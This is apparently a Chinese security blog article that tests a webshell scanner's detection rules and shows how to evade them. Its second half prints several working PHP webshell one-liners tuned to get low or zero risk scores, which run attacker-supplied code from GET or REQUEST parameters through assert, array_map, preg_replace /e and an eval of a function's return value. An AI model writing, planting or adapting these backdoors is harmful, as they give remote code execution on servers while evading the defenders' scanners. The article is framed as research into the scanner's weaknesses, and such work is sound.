目前主流的webshell查杀工具分为静态和动态检查,针对能够执行命令和代码的危险函数都会进行检查。网上公开的绕过技术一般都是通过各种方式(变形)隐藏危险函数,本文主要通过大量的测试来分析某知名的webshell查杀工具的规则,通过自己的分析来尝试绕过这些规则。
通过扫描大量的样本,发现了查杀的方法主要包括:
1.正则匹配
2.样本库:并不仅仅是文件MD5检查,还可能使用类似simhash、ssdeep进行相似度比较。
3.变量追踪:追踪变量的赋值,查看变量是否是危险的函数或者可控。
在本节简单介绍下针对已有规则的测试,由于篇幅有限,有很多测试没有列出来。
如下图,这里将assert的参数设置为一个字符串,可以看到,风险级别是3(使用eval时是0)。
将参数设置为一个变量时,变量内容不可回溯时,风险级别是4。
所以如果直接使用危险函数(特别是assert这类函数),那么被查杀的可能性是很大的。
如下图,函数名直接使用变量,那么风险级别是2,如果变量追踪为可控的,那么风险级别更高。
所以网上很多的方法,如果是使用变量隐藏敏感函数,那么很容易被查杀。
如下图,直接写一个函数,但是没有调用,风险级别仍然为4
函数内部是变量函数时,风险级别是2。
说明查杀引擎会进入函数内部进行检查(即使函数没被调用)。
从上面两个图可以看出,查杀引擎并没有进入到类中的函数中,所以该处存在绕过的可能性。
如下图,使用字符串时的检测结果,由于$a可以被追踪为assert,所以风险值较高
如下图,使用一维数组时的检测结果,风险也是4
如下图,使用多维数组时的检测结果,与使用变量函数的结果相同。
所以从这里可以看到,查杀引擎对多维数组的检查是相对较弱的。
下图是一个已知后门,风险值是5。
将REQUEST更改为GET,可以看到,风险值从5变成了1
同样,将参数替换成下图格式,风险值也是1。使用这种方式,主要是让其相似度变低,然后绕过相似度检查。
使用MD5进行相似度比较是最简单的一种方式,通过文本相似度或结构相似度也容易绕过,只能对已知后门进行检测。
0x02中介绍了已经知道的规则,相对来说,使用多维数组、类等存在绕过的可能。在网上流传最多的一句话绕过方法应该是使用回调函数进行绕过,P牛的回调函数文章,大家可以多看看,这里说下我用的几个方法。
如果回调函数未公开,或者不在规则库中,那么是最容易绕过的一种方法,例如
<?php
filter_input(INPUT_GET, 'a', FILTER_CALLBACK, array('options' => 'assert'));
?>
由于这类函数不在规则库中,所以查杀引擎也不会对其进行检查,可以直接绕过。当然还有多个未公开的或者不在规则库中的回调函数,大家可以多找找。
针对已经在规则库中的回调函数,那么就需要考虑如何构造参数进行绕过,例如在0x02中介绍过使用类是绕过的一种方式。这里使用array_map来举例
如上图,是一个array_map的一句话,查杀结果是已知后门,那么我们先看下array_map的定义:
array_map ( [callable] $callback , array $array1 [, array $... ] ) : array
array_map的第一个参数是callable类型,并且官方给出了下面一个示例
<?php
array_map('Demo\A::hi', [])
?>
所以我们构造一个类,然后使用array_map进行调用,代码如下所示
<?php
class x {
function f($b,$a) {
$b($a);
}
}
$staticMethod = 'x::f';
array_map($staticMethod, array($_GET[b]),array($_GET[a]));
?>
从上图可以看到,查杀结果为0
查杀引擎不对类中的代码进行检查,所以我们直接构造一个类,然后在里面加上后门代码,如下所示,可以看到查杀结果也是0
查杀引擎对数组的检测能力较弱,所以这里使用数组来尝试绕过,但是不能直接使用$a0这种形式,因为这种会直接爆出“变量函数”,所以我们仍然使用回调函数尝试,例如:
<?php
preg_replace(array("/.*/e"), $_REQUEST["a"], "");
?>
查杀引擎是具备变量追踪的,所以我想构造以下代码,尝试绕过:
<?php
$b = 'echo "111"';
$b=……..#此处为不可回溯的代码,例如函数、数组等
eval($b);`
?>
因为$b的初始化值为echo字符串,如果中间$b的赋值是不可回溯的(或者很难回溯到值),那么查杀引擎认为$b的值就是echo字符串,所以应该可以绕过。
这里不能将eval换成assert,原因如下图所示
首先尝试将\$b从多维数组中获取,从下图可以看到,虽然\$b的值追踪不到,但是检测结果风险值是1,仍然不能完美绕过
再尝试将\$b从函数中获取,如下图,风险值仍然为0
最终经过多次尝试,得到以下代码
<?php
$b = 'echo "111"';
function c(){
return 'eval($GLOBALS["_GET"]["a"]);';
}
$b =c();
eval($b);
?>
本文的重点并不是对webshell进行各种变形,而是通过大量的测试检查查杀引擎的规则库,尝试进行绕过。掌握了这种方法,再结合php的语法特性,就可以很容易的写出绕过方法。
PS:本文仅做技术研究,不要用于非法用途。